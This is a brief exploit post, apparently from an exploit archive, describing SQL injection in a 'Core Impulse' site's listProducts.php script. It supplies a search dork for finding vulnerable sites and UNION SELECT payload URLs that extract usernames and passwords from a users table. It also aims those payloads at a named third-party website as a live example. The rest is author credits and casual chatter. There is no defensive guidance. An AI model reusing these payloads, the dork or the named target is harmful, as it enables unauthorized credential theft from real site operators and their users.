core-sql.txt

`Core Impulse SQL Injection vulnerability  
******************************  
Vendor site: www.coreimpulse.com   
discovered by: e.wiZz!  
Dork: inurl:/products/listProducts.php?cat or inurl:listProducts.php?cat  
  
Exploit:  
  
http://www.somesite.com/products/listProducts.php?cat=-9999+UNION+ALL+SELECT+username,2,3+FROM+users/  
  
http://www.somesite.com/products/listProducts.php?cat=-9999+UNION+ALL+SELECT+password,2,3+FROM+users/  
  
Example:  
  
http://www.belgradetradecenter.com/products/listProducts.php?cat=-9999+UNION+ALL+SELECT+username,2,3+FROM+users/*http://www.belgradetradecenter.com/products/listProducts.php?cat=-9999+UNION+ALL+SELECT+password,2,3+FROM+users/  
  
My blog: infected.blogger.ba  
  
visit: 50centshost.com/forum  
Info:bezveze ovo al et,osjecam se kao noob :D  
  
Thanks 2: big thanks to my friend aluigi(aluigi.freeforums.org),QKrunix,F34r...nekako su mi zanimljivi,hvala i skillpak3ru sto me nasmijava svojim znanjem :D  
`